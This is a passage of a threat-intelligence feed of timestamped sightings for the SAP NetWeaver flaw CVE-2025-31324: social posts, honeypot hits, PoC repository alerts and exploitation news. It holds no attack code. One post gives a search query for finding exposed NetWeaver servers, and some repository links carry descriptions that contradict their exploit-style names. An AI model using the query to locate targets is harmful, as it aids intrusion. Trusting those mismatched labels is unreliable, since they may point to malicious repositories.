{"timestamp": "2025-04-30T15:42:09.879Z", "date_only": false, "value": "2025-04-30T15:42:09.879136Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3lo253cuys62i", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c4159ae6-d33a-47d7-88f0-7ade5b9e058a", "url": "https://bsky.app/profile/cyberhub.blog/post/3lo253cuys62i"}, {"timestamp": "2025-04-30T15:42:26Z", "date_only": false, "value": "2025-04-30T15:42:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/34823", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ca6f88cb-286c-4485-a739-4c7e80092f56", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1a\ud83d\udd0d A simple Bash script to detect malicious JSP webshells, including those used in exploits of SAP NetWeaver CVE-2025-31324.\nURL\uff1ahttps://github.com/respondiq/jsp-webshell-scanner\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/34823"}, {"timestamp": "2025-04-30T16:04:30.282Z", "date_only": false, "value": "2025-04-30T16:04:30.282522Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/digitaltrustcenter.bsky.social/post/3lo26d6fihs2b", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "36095185-9281-4af6-b055-7024ee951154", "url": "https://bsky.app/profile/digitaltrustcenter.bsky.social/post/3lo26d6fihs2b"}, {"timestamp": "2025-04-30T17:22:44.718Z", "date_only": false, "value": "2025-04-30T17:22:44.718759Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/rodtrent.com/post/3lo2cp6acrw2n", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4f031770-f4e8-4c0e-a653-398ca8f4cccd", "url": "https://bsky.app/profile/rodtrent.com/post/3lo2cp6acrw2n"}, {"timestamp": "2025-04-30T20:46:01.001Z", "date_only": false, "value": "2025-04-30T20:46:01.001920Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cti-news.bsky.social/post/3lo2o2nesf326", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "a5617a57-3873-4c4d-b1f5-a81dbec187d1", "url": "https://bsky.app/profile/cti-news.bsky.social/post/3lo2o2nesf326"}, {"timestamp": "2025-04-30T21:00:05Z", "date_only": false, "value": "2025-04-30T21:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/y2l5Yx5uKW94E7t6fGqmFzUShRXCrJYUPIKinN2hvDkbmL0", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d9c3b7e9-4547-4ca1-9cc3-a0a70d628b75"}, {"timestamp": "2025-04-30T21:02:20.057Z", "date_only": false, "value": "2025-04-30T21:02:20.057190Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lo2oxslq462k", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e747c31e-7042-414f-a864-46098adcc4ee", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lo2oxslq462k"}, {"timestamp": "2025-04-30T23:17:13Z", "date_only": false, "value": "2025-04-30T23:17:13.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/34995", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "42690304-e8e1-4a54-8b07-9925c6f0d409", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aA Python-based security scanner for identifying the CVE-2025-31324 vulnerability in SAP Visual Composer systems, and detecting known Indicators of Compromise (IOCs) such as malicious .jsp.\nURL\uff1ahttps://github.com/JonathanStross/CVE-2025-31324\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/34995"}, {"timestamp": "2025-05-01T02:22:09.148Z", "date_only": false, "value": "2025-05-01T02:22:09.148536Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lo3atpf4kb2n", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "de30021a-67bf-4393-8c78-7ce569fa58af", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lo3atpf4kb2n"}, {"timestamp": "2025-05-01T08:27:20.173Z", "date_only": false, "value": "2025-05-01T08:27:20.173954Z", "kind": "sighting", "label": "Exploited", "source": "https://labs.withsecure.com/publications/netweaver-cve-2025-31324", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "35625c0e-f8d9-46e7-a8b6-423deef71f4d", "url": "https://labs.withsecure.com/publications/netweaver-cve-2025-31324"}, {"timestamp": "2025-05-01T08:27:57.729Z", "date_only": false, "value": "2025-05-01T08:27:57.729923Z", "kind": "sighting", "label": "Exploited", "source": "https://www.thestack.technology/cvss-10-sap-netweaver-bug-is-under-active-attack/", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1aa94170-f2b5-4c1f-b8be-801220de59bb", "url": "https://www.thestack.technology/cvss-10-sap-netweaver-bug-is-under-active-attack/"}, {"timestamp": "2025-05-01T12:51:25.676Z", "date_only": false, "value": "2025-05-01T12:51:25.676139Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/buzzleaktv.bsky.social/post/3lo4dyvuqae25", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2c73e4fd-31f0-4a6f-af2d-0acc7751dbd8", "url": "https://bsky.app/profile/buzzleaktv.bsky.social/post/3lo4dyvuqae25"}, {"timestamp": "2025-05-01T13:00:56.198Z", "date_only": false, "value": "2025-05-01T13:00:56.198537Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/socprime.com/post/3lo4ejtk2ls2x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3b749ad5-91cc-440c-9bd0-7a62e7ade3f8", "url": "https://bsky.app/profile/socprime.com/post/3lo4ejtk2ls2x"}, {"timestamp": "2025-05-01T13:06:27.366Z", "date_only": false, "value": "2025-05-01T13:06:27.366602Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/socprime.com/post/3lo4etoemdk2x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c743a3cd-b8ae-4863-ac63-d1157c3af06d", "url": "https://bsky.app/profile/socprime.com/post/3lo4etoemdk2x"}, {"timestamp": "2025-05-01T17:44:52Z", "date_only": false, "value": "2025-05-01T17:44:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/35191", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8f863891-3ee7-4507-a11e-3f2c4c935c0a", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aPython-based Burp Suite extension is designed to detect the presence of CVE-2025-31324\nURL\uff1ahttps://github.com/Caztemaz/Phantom-Registy-Exploit-Cve2025-20682-Runtime-Fud-Lnk\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/35191"}, {"timestamp": "2025-05-01T17:55:20Z", "date_only": false, "value": "2025-05-01T17:55:20.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/35193", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ed1a635e-046e-4586-aa69-060b4b09ffe5", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aPython-based Burp Suite extension is designed to detect the presence of CVE-2025-31324\nURL\uff1ahttps://github.com/Caztemaz/Lnk-Exploit-FileBinder-Certificate-Spoofer-Reg-Doc-Cve-Rce\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/35193"}, {"timestamp": "2025-05-02T00:00:00Z", "date_only": false, "value": "2025-05-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-02)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "aaf6ed7f-6d68-471c-a654-10e9fac6e61e"}, {"timestamp": "2025-05-02T00:37:16.422Z", "date_only": false, "value": "2025-05-02T00:37:16.422705Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lo5hq2i537d2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a5e01d4c-a45f-47de-a9dc-991a112003ac", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lo5hq2i537d2"}, {"timestamp": "2025-05-02T02:15:59.902Z", "date_only": false, "value": "2025-05-02T02:15:59.902915Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lo5qxmlr7g2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "26fe2f5e-c241-4a9d-9b38-9989e3a779b5", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lo5qxmlr7g2c"}, {"timestamp": "2025-05-02T02:55:31.168Z", "date_only": false, "value": "2025-05-02T02:55:31.168156Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3lo5t6btvnv2i", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a8343cf6-6332-40ae-990f-fa604114f241", "url": "https://bsky.app/profile/undercode.bsky.social/post/3lo5t6btvnv2i"}, {"timestamp": "2025-05-02T06:09:35.959Z", "date_only": false, "value": "2025-05-02T06:09:35.959658Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3lo65zad22c2x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b3dfd398-dc1f-49ed-866b-aff1b59bca59", "url": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3lo65zad22c2x"}, {"timestamp": "2025-05-02T17:13:30.650Z", "date_only": false, "value": "2025-05-02T17:13:30.650Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2025-31324", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-05-02T20:47:54Z", "date_only": false, "value": "2025-05-02T20:47:54.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/all-mute/f5d0ea33af5d20f17a1097fb1c12a8cd", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b61aa3fb-984b-4b09-8a78-f044a5802353", "url": "https://gist.github.com/all-mute/f5d0ea33af5d20f17a1097fb1c12a8cd"}, {"timestamp": "2025-05-02T23:03:44Z", "date_only": false, "value": "2025-05-02T23:03:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/35328", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1fb49425-5c51-47d8-810d-8546d0f6aa7c", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aCVE-2025-31324 vulnerability and compromise assessment tool\nURL\uff1ahttps://github.com/Onapsis/Onapsis-Mandiant-CVE-2025-31324-Vuln-Compromise-Assessment\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/35328"}, {"timestamp": "2025-05-03T00:00:00Z", "date_only": false, "value": "2025-05-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-03)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5c7bb38a-0d01-4a1c-867b-8ece2bf37e0b"}, {"timestamp": "2025-05-03T02:14:15.819Z", "date_only": false, "value": "2025-05-03T02:14:15.819315Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3loabdgvsvm23", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7a80d247-0f8e-48b2-88b5-3f3f23585fc2", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3loabdgvsvm23"}, {"timestamp": "2025-05-04T00:00:00Z", "date_only": false, "value": "2025-05-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-04)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "893df191-88d0-4f01-8db3-8ffad60f38c2"}, {"timestamp": "2025-05-04T02:22:41.190Z", "date_only": false, "value": "2025-05-04T02:22:41.190960Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3locsbg5znm2d", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7376c580-ae4e-4ed0-8e12-0fa91c99a25b", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3locsbg5znm2d"}, {"timestamp": "2025-05-04T19:11:06Z", "date_only": false, "value": "2025-05-04T19:11:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/vicoders/244", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6bda1bfb-345a-412b-89ab-1bcf836776cb", "content": "\ud83d\udea8Alert\ud83d\udea8 CVE-2025-31324(CVSS v3 score: 10.0):Critical SAP NetWeaver Zero-Day Vulnerability\n\ud83d\udd25EXP : https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise/\n\ud83d\udcca23K+ Services are found on the http://hunter.how yearly.\n\ud83d\udd17Hunter Link:https://hunter.how/list?searchValue=product.name%3D%22SAP%20NetWeaver%22\n\ud83d\udc47Query\nHUNTER : http://product.name=\"SAP NetWeaver\"\n\ud83d\udcf0Refer:https://bleepingcomputer.com/news/security/sap-fixes-suspected-netweaver-zero-day-exploited-in-attacks/\n#SAP #hunterhow #infosec #infosecurity #OSINT #Vulnerability", "url": "https://t.me/vicoders/244"}, {"timestamp": "2025-05-05T00:00:00Z", "date_only": false, "value": "2025-05-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-05)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2dded796-f943-4ecc-a7a1-8f6b0fc8e4e6"}, {"timestamp": "2025-05-05T02:19:07.523Z", "date_only": false, "value": "2025-05-05T02:19:07.523233Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lofcjxpwjx2v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a44af3a8-924e-4c65-977b-d9fa4ad4d750", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lofcjxpwjx2v"}, {"timestamp": "2025-05-06T02:16:36.572Z", "date_only": false, "value": "2025-05-06T02:16:36.572504Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lohsufhewa2g", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "156bd06b-7f09-4388-a8e5-8554dc6713d6", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lohsufhewa2g"}, {"timestamp": "2025-05-06T10:55:16.872Z", "date_only": false, "value": "2025-05-06T10:55:16.872109Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/azureweekly.endj.in/post/3loipttxfbe2b", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2857d138-6d1b-42db-ab3e-3311b8901006", "url": "https://bsky.app/profile/azureweekly.endj.in/post/3loipttxfbe2b"}, {"timestamp": "2025-05-06T15:06:45.234Z", "date_only": false, "value": "2025-05-06T15:06:45.234084Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3loj5vjnms72a", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "21ef2e40-456f-4416-9b93-c9e82a45c290", "url": "https://bsky.app/profile/infosec.skyfleet.blue/post/3loj5vjnms72a"}, {"timestamp": "2025-05-06T15:08:47.328Z", "date_only": false, "value": "2025-05-06T15:08:47.328484Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3loj5z5d6kv2e", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "57cbff6d-38d7-4365-bc0f-3d7f3fc53188", "url": "https://bsky.app/profile/nimblenerd.social/post/3loj5z5d6kv2e"}, {"timestamp": "2025-05-06T15:19:03.249Z", "date_only": false, "value": "2025-05-06T15:19:03.249186Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loj6l6vcv5r2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8bc0ffa4-8587-4f44-9afe-92cd8f18e503", "url": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loj6l6vcv5r2"}, {"timestamp": "2025-05-06T16:12:15.518Z", "date_only": false, "value": "2025-05-06T16:12:15.518870Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/patrickcmiller/statuses/114461765456472458", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "b369d9dc-8fd0-4d00-90f4-8dd1639ba445", "url": "https://infosec.exchange/users/patrickcmiller/statuses/114461765456472458"}, {"timestamp": "2025-05-06T16:12:16.794Z", "date_only": false, "value": "2025-05-06T16:12:16.794860Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3lojbkourm72s", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "fcbae036-f26f-47bf-8816-49168e6fab45", "url": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3lojbkourm72s"}, {"timestamp": "2025-05-06T16:44:49Z", "date_only": false, "value": "2025-05-06T16:44:49.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/234914", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ceec4a75-d47c-4c3f-a251-dad598c62b52", "content": "Experts warn of a second wave of attacks targeting SAP NetWeaver bug CVE-2025-31324\nhttps://ift.tt/fSAsVrL", "url": "https://t.me/ctinow/234914"}, {"timestamp": "2025-05-06T18:58:35.846Z", "date_only": false, "value": "2025-05-06T18:58:35.846547Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lojkqvw3emp2", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "2a63cefd-4216-4dcd-a3bf-ef6295a821ee", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lojkqvw3emp2"}, {"timestamp": "2025-05-06T20:02:04.235Z", "date_only": false, "value": "2025-05-06T20:02:04.235539Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lojofdzzb22q", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b5d223c1-cdd0-4261-bf12-052bbc84d234", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lojofdzzb22q"}, {"timestamp": "2025-05-06T20:06:59.686Z", "date_only": false, "value": "2025-05-06T20:06:59.686533Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lojoodzvhk2q", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0f44680b-4441-468d-8b02-942e7f32e5ed", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lojoodzvhk2q"}, {"timestamp": "2025-05-07T00:00:00Z", "date_only": false, "value": "2025-05-07T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202504-3437", "record": "VAR-202504-3437", "field": "sources_release_date.data.0.date"}, {"timestamp": "2025-05-07T01:48:50.159Z", "date_only": false, "value": "2025-05-07T01:48:50.159770Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lokbrnmsxs22", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1766a2d5-c75b-4b51-a56e-7536c1fc74e2", "url": "https://bsky.app/profile/kitafox.bsky.social/post/3lokbrnmsxs22"}, {"timestamp": "2025-05-07T06:56:00Z", "date_only": false, "value": "2025-05-07T06:56:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202504-3437", "record": "VAR-202504-3437", "field": "sources_update_date.data.0.date"}, {"timestamp": "2025-05-07T12:08:30.471Z", "date_only": false, "value": "2025-05-07T12:08:30.471374Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lolefpd7ek2t", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b5a8f978-2ded-4b86-a8fd-12e345950e89", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lolefpd7ek2t"}, {"timestamp": "2025-05-07T12:12:32Z", "date_only": false, "value": "2025-05-07T12:12:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Uocvi1XubdupbTnYPUG7BgPfOt5c9ioZyftPXXAJvy9HOYEB", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "fc1f7b98-a869-4f57-b327-882f03922e0f"}, {"timestamp": "2025-05-08T00:00:00Z", "date_only": true, "value": "2025-05-08", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2025-09245", "record": "CNVD-2025-09245", "field": "openTime"}, {"timestamp": "2025-05-08T06:56:23.790Z", "date_only": false, "value": "2025-05-08T06:56:23.790929Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shiojiri.com/post/3londgjpizs2k", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "843f6493-7ad0-46d9-8907-07bbeedb1594", "url": "https://bsky.app/profile/shiojiri.com/post/3londgjpizs2k"}, {"timestamp": "2025-05-08T19:14:40.766Z", "date_only": false, "value": "2025-05-08T19:14:40.766085Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/campuscodi.risky.biz/post/3loomomlg7c2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0fd6edb8-9f7f-4ff5-94f0-cc1bc1d45d89", "url": "https://bsky.app/profile/campuscodi.risky.biz/post/3loomomlg7c2c"}, {"timestamp": "2025-05-09T00:00:00Z", "date_only": false, "value": "2025-05-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-09)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "113a6f42-480d-47e3-afd0-f0948505e304"}, {"timestamp": "2025-05-09T02:17:07.133Z", "date_only": false, "value": "2025-05-09T02:17:07.133671Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lopec23kng22", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1a80a512-558e-48e7-8eef-c5c4628c8844", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lopec23kng22"}, {"timestamp": "2025-05-09T02:29:00Z", "date_only": false, "value": "2025-05-09T02:29:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://thehackernews.com/2025/05/chinese-hackers-exploit-sap-rce-flaw.html", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f2f35c54-bb1d-4875-8f95-6853bb70ea95", "url": "https://thehackernews.com/2025/05/chinese-hackers-exploit-sap-rce-flaw.html"}, {"timestamp": "2025-05-09T05:06:35Z", "date_only": false, "value": "2025-05-09T05:06:35.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/DarkWebInformer_News/4332", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "77e855fc-e045-4398-a82d-ebbe4b7d85e4", "content": "\ud83d\udea8 News Alert!\n\nSource: The Hacker News\nTitle: Chinese Hackers Exploit SAP RCE Flaw CVE-2025-31324, Deploy Golang-Based SuperShell\nLink: https://thehackernews.com/2025/05/chinese-hackers-exploit-sap-rce-flaw.html", "url": "https://t.me/DarkWebInformer_News/4332"}, {"timestamp": "2025-05-09T05:15:06.751Z", "date_only": false, "value": "2025-05-09T05:15:06.751020Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3lopoacikk325", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "84515b4c-48ec-435c-a3b1-c60ef612f75c", "url": "https://bsky.app/profile/ninjaowl.ai/post/3lopoacikk325"}, {"timestamp": "2025-05-09T05:22:03.109Z", "date_only": false, "value": "2025-05-09T05:22:03.109041Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lopomqxdxc2v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "41d35fad-0c62-48a7-adfe-3a027db38fdf", "url": "https://bsky.app/profile/bluesky.awakari.com/post/3lopomqxdxc2v"}, {"timestamp": "2025-05-09T05:27:07.408Z", "date_only": false, "value": "2025-05-09T05:27:07.408739Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lopovtbhgn2l", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5e5b66ae-38f3-4392-afab-250515a2cd2a", "url": "https://bsky.app/profile/bluesky.awakari.com/post/3lopovtbhgn2l"}, {"timestamp": "2025-05-09T05:30:06.437Z", "date_only": false, "value": "2025-05-09T05:30:06.437993Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/techit.bsky.social/post/3lopp34e4iq2x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1d85b9b9-f363-4471-a13a-d89e11d7b25e", "url": "https://bsky.app/profile/techit.bsky.social/post/3lopp34e4iq2x"}, {"timestamp": "2025-05-09T05:31:38.343Z", "date_only": false, "value": "2025-05-09T05:31:38.343742Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cti-news.bsky.social/post/3lopp5vefyo2k", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ecffb650-6487-4469-8476-65337ae3e2d8", "url": "https://bsky.app/profile/cti-news.bsky.social/post/3lopp5vefyo2k"}, {"timestamp": "2025-05-09T06:01:52.452Z", "date_only": false, "value": "2025-05-09T06:01:52.452275Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lopqtxl7542n", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c68048b3-5367-4d24-89ad-70bd5af611c8", "url": "https://bsky.app/profile/hackingne.ws/post/3lopqtxl7542n"}, {"timestamp": "2025-05-09T06:31:03.936Z", "date_only": false, "value": "2025-05-09T06:31:03.936767Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lopoms7sz6n2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4883b698-05a7-4c86-ae60-b8c7f5386ab2", "url": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lopoms7sz6n2"}, {"timestamp": "2025-05-09T06:34:03.732Z", "date_only": false, "value": "2025-05-09T06:34:03.732679Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3loppvzhsaoc2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "314123f5-733b-4a4f-bcab-cf30289b2ed2", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3loppvzhsaoc2"}, {"timestamp": "2025-05-09T06:40:36Z", "date_only": false, "value": "2025-05-09T06:40:36.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/6804", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "556fd64d-2abc-4e6c-b6c8-8739364ad330", "content": "h\u26a1 A China-linked group is actively exploiting a critical CVE-2025-31324 flaw (CVSS 10.0) in SAP NetWeaver, targeting industries from energy to government.\n\nThey\u2019re using advanced post-ex tools, fake Cloudflare certs, and hosting malware on Chinese cloud IPs.\n\nPatch fast. Read \u2192 https://thehackernews.com/2025/05/chinese-hackers-exploit-sap-rce-flaw.html", "url": "https://t.me/thehackernews/6804"}, {"timestamp": "2025-05-09T07:06:52.033Z", "date_only": false, "value": "2025-05-09T07:06:52.033408Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shiojiri.com/post/3lopui5dhlk2n", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "bac8cc30-3617-4aa8-b8fe-7bf08a84a115", "url": "https://bsky.app/profile/shiojiri.com/post/3lopui5dhlk2n"}, {"timestamp": "2025-05-09T07:11:35Z", "date_only": false, "value": "2025-05-09T07:11:35.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cibsecurity/84669", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ba7e63a4-123f-49ef-b077-a77cc8cb8fd7", "content": "\ud83d\udd8b\ufe0f Chinese Hackers Exploit SAP RCE Flaw CVE-2025-31324, Deploy Golang-Based SuperShell \ud83d\udd8b\ufe0f\n\nA Chinalinked unnamed threat actor dubbed Chaya004 has been observed exploiting a recently disclosed security flaw in SAP NetWeaver. Forescout Vedere Labs, in a report published today, said it uncovered a malicious infrastructure likely associated with the hacking group weaponizing CVE202531324 CVSS score 10.0 since April 29, 2025. CVE202531324 refers to a critical SAP NetWeaver 